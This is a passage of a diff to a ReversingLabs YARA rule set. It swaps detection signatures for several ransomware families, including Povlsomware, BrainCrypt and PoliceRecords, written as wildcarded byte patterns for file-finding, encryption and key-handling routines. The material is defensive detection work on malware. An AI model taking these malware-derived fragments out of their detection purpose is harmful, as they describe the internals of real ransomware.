-            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 12 89 85 ?? ?? ?? ?? 89 95
-            ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 83 BD ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? EB ??
-            0F 8E ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 76 ?? EB
-            ?? 7E ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ??
-            ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ??
-            ?? 8D 45 ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 83 FB ?? 7F ??
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ??
-            ?? 8D 45 ?? E8 ?? ?? ?? ?? 43 83 FB ?? 75 ?? 8B 85 ?? ?? ?? ?? 8B D0 8D 45 ?? E8 ??
-            ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 8B 8D ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 83
-            BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? BA
+		$dd_getkey = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 31 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? 8B 55
+            ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? C1 E8 ?? 89 45 ?? 8B 45 ?? 8B E5 5D C2 ?? ??
         }
-		$encrypt_files_p3 = {
-            E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ??
-            EB ?? 8D 45 ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 33 D2 8B 45 ?? 8B
-            08 FF 51 ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ??
-            E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 59 55 E8 ?? ??
-            ?? ?? 59 EB ?? 55 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ??
-            ?? 8B 45 ?? E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 59 C6 85 ?? ?? ?? ?? ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ??
-            64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+		$dd_destroykey = {
+            55 8B EC 83 7D ?? ?? 74 0A 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 5D C2
         }
-
-	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*))
-}
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Povlsomware : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Povlsomware ransomware."
-		author = "ReversingLabs"
-		id = "317d7cca-4fe8-55ab-8f5f-e42be727ec26"
-		date = "2021-08-12"
-		modified = "2021-08-12"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Povlsomware.yara#L1-L64"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "465dc1b1d7e9eb3091f36efb51029cd3383d05ece054e814b18f379e58c7e457"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Povlsomware"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$setup_attack = {
-            7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ??
-            ?? ?? 73 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 2C ??
-            00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8E 69 80 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ??
-            0C 16 0D 2B ?? 08 09 9A 13 ?? 00 7E ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 00 00 09 17 58 0D
-            09 08 8E 69 32 ?? 00 38 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06
-            ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 1A 6F ?? ?? ??
-            ?? 00 11 ?? 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ??
-            13 ?? 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 00 11 ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00
-            DE ?? 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC
-            28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 2A
+		$dd_importkey = {
+            55 8B EC 51 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 8B 08 51 8B 55 ?? 52 FF 15 ?? ??
+            ?? ?? 8B 45 ?? 8B E5 5D C2 ?? ??
         }
-		$find_files = {
-            02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ??
-            ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 00 06 6F ?? ?? ?? ?? 0C 2B ??
-            08 6F ?? ?? ?? ?? 0D 00 7E ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 00 00 08 6F ?? ?? ?? ?? 2D ??
-            DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? 00 DC 02 28 ?? ?? ?? ?? 0B 00 07 13 ?? 16 13 ?? 38 ??
-            ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 00 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 16 FE 01 2B ?? 16 13 ?? 11 ?? 2C ?? 00 11 ?? 03 28 ?? ?? ?? ?? 00 00 00
-            DE ?? 26 00 00 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 2A
+		$dd_decrypt = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 22 01 00 00 83 7D ?? ?? 0F 84 18 01 00 00 83 7D ?? ?? 0F 84 0E
+            01 00 00 83 7D ?? ?? 0F 84 04 01 00 00 83 7D ?? ?? 0F 84 FA 00 00 00 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 33 D2
+            F7 75 ?? 0F AF 45 ?? 89 45 ?? 8B 4D ?? 89 4D ?? 8B 55 ?? 8B 02 03 45 ?? 89 45 ?? 8B 4D ?? 8B 11 03 55 ?? 52 8B 45 ?? 8B
+            08 51 6A ?? E8 ?? ?? ?? ?? 8B 55 ?? 89 02 8B 45 ?? 83 38 ?? 0F 84 A7 00 00 00 8B 4D ?? 8B 11 8B 45 ?? 03 10 89 55 ?? 83
+            7D ?? ?? 74 61 6A ?? 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 45 ??
+            89 45 ?? 8D 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 1D 8B 4D ?? 03 4D ?? 89
+            4D ?? 8B 55 ?? 2B 55 ?? 89 55 ?? 8B 45 ?? 03 45 ?? 89 45 ?? EB 99 83 7D ?? ?? 75 15 8B 4D ?? 89 4D ?? 8B 55 ?? 8B 45 ??
+            2B 02 8B 4D ?? 89 01 EB 18 8B 55 ?? 8B 02 50 8B 4D ?? 8B 11 52 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 01 8B 45 ?? 8B E5 5D C2
+            ?? ??
         }
-		$encrypt_files = {
-            00 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 06 2C ?? 2B ?? 02 28 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            6F ?? ?? ?? ?? 0B 07 2C ?? 2B ?? 02 28 ?? ?? ?? ?? 00 02 02 72 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 17 58 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 02 6F ?? ?? ??
-            ?? 00 7E ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 2A
+		$dd_encrypt = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 89 01 00 00 83 7D ?? ?? 0F 84 7F 01 00 00 83 7D ?? ?? 0F 84 75
+            01 00 00 83 7D ?? ?? 0F 84 6B 01 00 00 83 7D ?? ?? 0F 84 61 01 00 00 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 8B 4D ?? 83 E9
+            ?? 89 4D ?? 8B 55 ?? 89 55 ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 0F 84 26 01
+            00 00 8B 55 ?? 3B 55 ?? 76 08 8B 45 ?? 89 45 ?? EB 06 8B 4D ?? 89 4D ?? 8B 55 ?? 89 55 ?? 8B 45 ?? 33 D2 F7 75 ?? 0F AF
+            45 ?? 8B 4D ?? 8B 11 03 D0 03 55 ?? 89 55 ?? 8B 45 ?? 50 8B 4D ?? 8B 11 52 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 01 8B 55 ??
+            83 3A ?? 0F 84 CF 00 00 00 8B 45 ?? 8B 08 8B 55 ?? 03 0A 89 4D ?? 83 7D ?? ?? 0F 84 84 00 00 00 8B 45 ?? 3B 45 ?? 73 08
+            8B 4D ?? 89 4D ?? EB 06 8B 55 ?? 89 55 ?? 8B 45 ?? 89 45 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B
+            4D ?? 89 4D ?? 8B 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 2D 8B
+            45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 55 ?? 03 55 ?? 89 55 ?? 8B 45 ?? 2B 45 ?? 89 45 ?? 8B 4D ?? 03 4D ?? 89 4D ?? E9
+            72 FF FF FF 83 7D ?? ?? 75 16 8B 55 ?? 8B 45 ?? 2B 02 8B 4D ?? 89 01 C7 45 ?? ?? ?? ?? ?? EB 18 8B 55 ?? 8B 02 50 8B 4D
+            ?? 8B 11 52 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 01 8B 45 ?? 8B E5 5D C2 ?? ??
+        }
+		$dd_provparam = {
+            55 8B EC 83 EC ?? 83 7D ?? ?? 0F 84 94 00 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ??
+            8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 74 3F 8B 55 ?? 83 C2 ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 2A 6A ?? 8D 45 ??
+            50 8B 4D ?? 51 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 10 8B 45 ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B
+            4D ?? 51 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 1D 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 E8
+            ?? ?? ?? ?? 8B E5 5D C2 ?? ??
+        }
+		$dd_acquirecontext = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 0B 8B 45 ?? 0D ?? ?? ?? ?? 89 45 ?? C7 45 ??
+            ?? ?? ?? ?? 83 7D ?? ?? 75 07 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 45 ?? 50 6A ?? 6A ?? 6A ?? 8D 4D ?? 51 E8 ?? ?? ??
+            ?? 8B 55 ?? 52 6A ?? 8B 45 ?? 50 8D 4D ?? 51 8D 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 39 8B 45 ?? 83 C8 ?? 50 6A ?? 8B 4D
+            ?? 51 8D 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 1A 6A ?? 6A ?? 6A ?? 8D 4D ?? 51 8D 55 ?? 52 FF 15 ?? ?? ?? ??
+            85 C0 75 02 EB 0E 6A ?? FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 9D 8B 45 ?? 8B E5 5D C2 ?? ??
+        }
+		$dd_mrwhite = {
+            55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 64 01 00 00 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D
+            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 12 83 3D ?? ?? ?? ?? ?? 74 09 83 3D ?? ?? ?? ?? ?? 75 05 E9 13
+            01 00 00 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 75 05 E9 F0 00 00 00 8B 95
+            ?? ?? ?? ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74
+            05 E9 C0 00 00 00 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 74 09 83 BD ?? ?? ?? ?? ?? 73 05 E9 9B
+            00 00 00 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
+            75 02 EB 72 8B 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 02 83 C0 ?? 3B 85 ?? ?? ?? ?? 76 02 EB 51 8B 8D ??
+            ?? ?? ?? 83 39 ?? 74 3E 0F B7 95 ?? ?? ?? ?? 83 FA ?? 75 32 8B 85 ?? ?? ?? ?? 8B 08 51 8B 95 ?? ?? ?? ?? 83 C2 ?? 52 6A
+            ?? 8D 85 ?? ?? ?? ?? 50 8B 0D ?? ?? ?? ?? 51 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 33 C0 0F 85 CD FE FF FF 8D 8D
+            ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B 45 ?? 8B E5 5D C2 ?? ??
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($setup_attack) and ($find_files) and ($encrypt_files)
+		uint16(0)==0x5A4D and ($dd_ep at pe.entry_point) and $dd_hash and $dd_getkey and $dd_destroykey and $dd_importkey and $dd_decrypt and $dd_encrypt and $dd_provparam and $dd_acquirecontext and $dd_mrwhite
 }
-rule REVERSINGLABS_Win32_Ransomware_Braincrypt : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Policerecords : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects BrainCrypt ransomware."
+		description = "Yara rule that detects PoliceRecords ransomware."
 		author = "ReversingLabs"
-		id = "190798d5-594d-5b80-aa0e-8d7ff167f1c0"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "bacd3f98-a069-58ca-8423-01fcef7d4062"
+		date = "2022-08-02"
+		modified = "2022-08-02"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.BrainCrypt.yara#L1-L121"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "85866d6ffa136bf3ed27bbab55ae5430af4a1363930ebacab0df9ad24f8734cb"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.PoliceRecords.yara#L1-L79"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "55cb1a5d030c47abb1a9ca9970fb19b3124128e409bc9515c173c33b2bb49a16"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -35035,119 +36572,68 @@ rule REVERSINGLABS_Win32_Ransomware_Braincrypt : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "BrainCrypt"
+		tc_detection_name = "PoliceRecords"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$get_files_for_encryption_32 = {
-            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 80 7C 24
-            ?? ?? 74 ?? 8B 5C 24 ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? BB ?? ?? ?? ?? 89 5C 24 ??
-            E8 ?? ?? ?? ?? 83 C4 ?? C3 83 3D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 1D ?? ?? ?? ??
-            83 C3 ?? FC 8B 0B 89 0C 24 8B 4B ?? 89 4C 24 ?? 83 3D ?? ?? ?? ?? ?? 0F 86 ?? ?? ??
-            ?? 8B 1D ?? ?? ?? ?? 83 C3 ?? 8D 7C 24 ?? FC 8B 0B 89 0F 8B 4B ?? 89 4F ?? E8 ?? ??
-            ?? ?? 8B 5C 24 ?? 89 1D ?? ?? ?? ?? 8B 5C 24 ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 89 1D ??
-            ?? ?? ?? 8B 5C 24 ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? BB ?? ?? ?? ?? 89 5C 24 ?? E8
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 0C 24 8B 44 24 ?? C7 04 24 ?? ?? ?? ?? 89 4C 24 ?? 89
-            4C 24 ?? 89 44 24 ?? 89 44 24 ?? BB ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 5C 24 ?? FC 8B 0B 89 0C 24 8B 4B ?? 89 4C 24 ?? E8 ?? ?? ?? ?? E9
-            ?? ?? ?? ?? BD ?? ?? ?? ?? 89 2C 24 89 5C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 0F 0B E8 ?? ?? ?? ?? 0F 0B E8 ?? ?? ?? ?? E9
-        }
-		$encrypt_file_32 = {
-            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 8B 5C 24
-            ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? 8B 44 24
-            ?? 89 54 24 ?? 89 14 24 89 4C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 44 24 ?? 8B 5C 24 ??
-            89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 54 24
-            ?? 8B 4C 24 ?? 8B 44 24 ?? 8B 5C 24 ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? 89 54 24 ??
-            89 54 24 ?? 89 4C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 83 C4 ?? C3 E8 ?? ?? ?? ?? E9
-        }
-		$attach_to_server_32 = {
-            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 31 DB 89
-            5C 24 ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 89 CF 83 F9 ??
-            0F 84 ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 89 4C 24 ?? 89 0C 24 83 3C 24 ?? 0F 84 ?? ??
-            ?? ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89
-            1C 24 83 3C 24 ?? 0F 84 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 1C 24 83 3C 24 ?? 0F 84 ?? ?? ?? ?? BB ?? ?? ?? ??
-            89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 1C 24 83 3C 24 ??
-            0F 84 ?? ?? ?? ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B
-            44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 31 DB 89 5C 24 ?? 89 5C 24 ?? 31 ED 39 E8 0F 85
-            ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 4C 24 ?? 89 0C 24 89 44 24 ?? 89 44 24
-            ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 48 ?? 8B 68
-            ?? 89 6C 24 ?? 89 6C 24 ?? 89 4C 24 ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 8D 59 ?? C7 04 24
-            ?? ?? ?? ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? C7 04 24 ?? ?? ??
-            ?? 8B 44 24 ?? 83 F8 ?? 74 ?? 83 C0 ?? 8D 7C 24 ?? FC 8B 08 89 0F 8B 48 ?? 89 4F ??
-            E8 ?? ?? ?? ?? 8D 5C 24 ?? FC 8B 0B 89 0C 24 8B 4B ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B
-            54 24 ?? 8B 4C 24 ?? 8B 44 24 ?? C7 04 24 ?? ?? ?? ?? 89 54 24 ?? 89 54 24 ?? 89 4C
-            24 ?? 89 4C 24 ?? 89 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 5C 24 ?? 8B
-            5C 24 ?? 89 5C 24 ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3
+		$encrypt_files = {
+            00 72 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 06 6F ?? ?? ?? ?? 0C 04 0D 09 18 73 ?? ?? ??
+            ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 08 08 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ??
+            03 19 73 ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 11 ?? D2 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ??
+            25 13 ?? 15 FE 01 16 FE 01 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ??
+            ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 2A
         }
-		$get_files_for_encryption_64 = {
-            65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83
-            EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 0F B6 44 24 ?? 84 C0 0F 85 ?? ?? ?? ?? 48 8B 05
-            ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 83 F9 ?? 0F 86 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 40
-            ?? 48 89 0C 24 48 89 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 83 F9 ??
-            0F 86 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 40 ?? 48 89 4C 24 ?? 48 89 44 24 ?? E8 ?? ?? ??
-            ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 0D ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 84 C9 0F 85
-            ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 44 24 ?? 48 89 44
-            24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 04 24
-            48 8B 4C 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 8D 05 ?? ??
-            ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B
-            4C 24 ?? 48 89 04 24 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 C4 ?? C3 48
-            8D 0D ?? ?? ?? ?? 48 89 0C 24 48 89 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ??
